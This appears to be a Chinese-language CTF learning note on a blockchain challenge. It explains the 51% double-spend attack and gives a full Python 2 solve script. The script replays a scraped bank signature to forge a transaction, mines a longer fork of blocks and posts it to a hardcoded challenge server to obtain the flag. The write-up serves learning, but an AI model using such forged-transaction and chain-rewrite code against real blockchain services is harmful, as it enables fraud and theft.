「配枪朱丽叶。」

RootのCTF学习笔记。

Web_python_block_chain (浅学区块链双花攻击)

记笔记,对区块链不是很了解,还是萌萌qwq。
学习参考:区块链与51%算力攻击&2018-DDCTF-mini blockchain

51% (双花)攻击:
在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。”基于算力证明进行维护的比特币网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源(超过全网过半的算力),他就可以通过强大的算力篡改区块链上的账本,从而控制整个共识网络。这也被称为51%攻击,虽然这种攻击发生的可能性不是很大(掌握这种算力的人本身就可以通过挖矿获得巨大受益,再去冒险篡改账本很容易暴露自身)。仍然是理论上看:一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。

这里说的51%是指算力,
假设攻击者他能在攻击过程中保证一直51%算力,他的攻击一定成功。
也就是说他生成的攻击块链一定能追上原块链,
然后按区块链的规则:当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链
当攻击块链的长度超过原块链2个区块,
所有的客户端将丢弃原块链,接受攻击块链。
至此,51%攻击成功。

下面是攻击脚本,需要替换一下网址和钱包地址:

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os, requests, re
 
# 一堆变量常量
 
url_root = "http://111.198.29.45:42377/"
url_create = "http://111.198.29.45:42377/create_transaction"
url_flag = "http://111.198.29.45:42377/flag"
 
s = requests.Session()
ddcoin = s.get(url=url_root)
 
prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content, flags=0).group(1)
bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content, flags=0).group(1)
bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content, flags=0).group(1)
 
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0' * 64
 
bank_addr = "9f67cf0746af8b2bb7ac87e47d5f7fde23f1df1086d2e4797df79f35ce281da7fce6718b7185771a5b03abba4d0e3679"
hacke_addr = "cd401413d79f0f88c877b686a7de5108753ea37114ecd3fa7efdf36a4ce07fce92c8d49857b3f7041ca70a1543b5aacb"
shop_addr = "a32f8604a2f3fa46c25a2d45c6c473d51b89dd4d30fe4729b7cf20970ce215983a89f7d7e5b820d3a55e93714fd96d5d"
 
 
# 源码中的API
 
def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
 
 
def hash_reducer(x, y):
    return hash(hash(x) + hash(y))
 
 
def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'],
                                 reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
 
 
def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
 
 
def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])
 
 
def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo
 
 
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [bank_signature], 'output': output_utxo}  # 修改了签名
    tx['hash'] = hash_tx(tx)
    return tx
 
 
def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block
 
 
# 构造的方法
 
def check_hash(prev, tx):
    for i in range(10000000):
        current_block = create_block(prev, str(i), tx)
        block_hash = int(current_block['hash'], 16)
        if block_hash < DIFFICULTY:
            print json.dumps(current_block)
            return current_block
 
 
def create_feak_one():
    utxo_first = create_output_utxo(shop_addr, 1000000)
    tx_first = create_tx([bank_utox_id], [utxo_first])
    return check_hash(prev_one, [tx_first])
 
 
def create_empty_block(prev):
    return check_hash(prev, [])
 
 
# 攻击过程
 
a = create_feak_one()
print s.post(url=url_create, data=str(json.dumps(a))).content
b = create_empty_block(a['hash'])
print s.post(url=url_create, data=str(json.dumps(b))).content
c = create_empty_block(b['hash'])
print s.post(url=url_create, data=str(json.dumps(c))).content
d = create_empty_block(c['hash'])
print s.post(url=url_create, data=str(json.dumps(d))).content
e = create_empty_block(d['hash'])
print s.post(url=url_create, data=str(json.dumps(e))).content
print s.get(url=url_flag).content